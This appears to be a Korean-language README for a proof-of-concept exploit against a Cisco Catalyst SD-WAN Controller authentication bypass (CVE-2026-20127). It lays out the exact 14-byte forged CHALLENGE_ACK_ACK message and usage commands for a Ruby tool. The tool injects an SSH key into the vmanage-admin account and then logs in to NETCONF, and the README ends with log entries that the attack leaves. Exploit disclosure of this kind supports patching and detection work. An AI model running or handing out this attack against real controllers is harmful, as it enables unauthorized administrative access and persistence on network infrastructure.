
Cisco Catalyst SD-WAN Controller 인증 우회(CVE-2026-20127)를 위한 익스플로잇으로, DTLS CHALLENGE_ACK_ACK 메시지를 위조하여 무단 액세스를 획득하고 SSH 키를 주입합니다.
Cisco Catalyst SD-WAN Controller 인증 우회 취약점 CVE-2026-20127에 대한 익스플로잇입니다.
이 익스플로잇은 vbond_proc_challenge_ack_ack() 핸들러를 대상으로 합니다. 공격자가 제어하는 verify_status=1 바이트가 포함된 위조된 CHALLENGE_ACK_ACK 메시지(msg_type=10)를 전송하여 서버가 피어 항목에 대해 authenticated=1을 설정하도록 직접 강제합니다.
일반적인 DTLS 제어 플레인 핸드셰이크에서:
CHALLENGE(msg_type=8) 전송CHALLENGE_ACK(msg_type=9)로 응답verify_status=1과 함께 CHALLENGE_ACK_ACK(msg_type=10) 전송이 익스플로잇은 흐름을 단락시킵니다:
CHALLENGE 전송verify_status=1과 함께 CHALLENGE_ACK_ACK(msg_type=10)를 직접 전송vbond_proc_challenge_ack_ack()가 메시지 본문에서 verify_status를 읽음 — 이 값은 공격자가 제어함verify_status != 0이므로 서버는 authenticated=1을 설정 (*(BYTE*)(a2+70) = 1)vbond_proc_msg()의 인증 게이트는 msg_type=10을 인증 검사에서 제외하므로, 피어가 아직 인증되지 않았더라도 이 공격이 작동합니다.
Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.15.3에서 성공적으로 작동하는 것을 확인했습니다.
패치된 Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.12.6.1에서는 실패하는 것을 확인했습니다.
Usage: ./bin/vdaemon_exploit TARGET [options]
vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)
This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.
-p, --port PORT DTLS port (default: 12346)
--inject-key Generate and inject SSH key into vmanage-admin authorized_keys
--ssh-key PUBKEY_FILE Path to SSH public key file to inject
--cert CERT_FILE Path to PEM certificate file for DTLS handshake
--cert-key KEY_FILE Path to PEM private key file for DTLS handshake (used with --cert)
--data-dir DIR Directory for generated keys/certs (default: ./data/)
Examples:
./bin/vdaemon_exploit 192.168.86.166
./bin/vdaemon_exploit 192.168.86.166 --inject-key
./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem
# Install dependencies
bundle install
# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166
# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key
# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830
다음 스크린샷은 성공적인 익스플로잇과 이후 NETCONF 서비스에 대한 SSH 접근을 보여줍니다:

vbond_proc_challenge_ack_ack()vdaemon(20.12.5)의 주소 0x38AB7에 위치합니다. 이 함수는 수신된 CHALLENGE_ACK_ACK 메시지를 처리하며 다음과 같은 주요 검사를 수행합니다:
a2+112): 이 피어에 대해 CHALLENGE_ACK_ACK가 이미 처리된 경우 거부합니다. 첫 번째 통과 시 이 카운터는 0 → 통과.a1+8 == 4): 로컬 장치가 vBond인 경우 20을 반환합니다. 우리는 vSmart(type=3)를 대상으로 함 → 통과.a3+32): 메시지 본문의 첫 번째 바이트를 읽습니다. 0이면 → 거부 경로(피어 삭제). 0이 아니면 → *(BYTE*)(a2+70) = 1(인증됨) 설정.핵심 결함: verify_status는 서버 측 검증 없이 공격자가 제어하는 메시지 본문에서 직접 가져옵니다. 이 함수는 검증 상태에 대한 피어의 주장을 신뢰합니다.
vbond_proc_msg()에서 인증되지 않은 피어가 대부분의 메시지 유형을 보내는 것을 차단하는 인증 게이트는 명시적으로 msg_type=10(CHALLENGE_ACK_ACK)을 면제합니다. 이는 정상적인 프로토콜 흐름(서버가 인증 완료 전에 클라이언트에게 ACK_ACK를 전송)에 필요하지만, 공격자가 서버에 위조된 ACK_ACK를 보낼 수도 있게 합니다.
익스플로잇은 14바이트 메시지를 전송합니다:
Header (12 bytes):
Byte 0: 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK)
Byte 1: 0x30 (device_type=3/vSmart << 4)
Byte 2: 0xA0 (flags)
Byte 3: 0x00 (reserved)
Bytes 4-7: domain_id (big-endian u32, default: 1)
Bytes 8-11: site_id (big-endian u32, default: 100)
Body (2 bytes):
Byte 0: 0x01 (verify_status = 1 / TRUE)
Byte 1: 0x00 (reserved)
이 예시에서 대상은 Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.15.3이었습니다. 대상의 IP 주소는 192.168.86.166이었고 공격자의 IP 주소는 192.168.86.35였습니다.
로그 파일 /var/log/vsyslog에 다음 메시지가 기록되었습니다:
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
로그 파일 /var/log/vdebug에 다음 메시지가 기록되었습니다: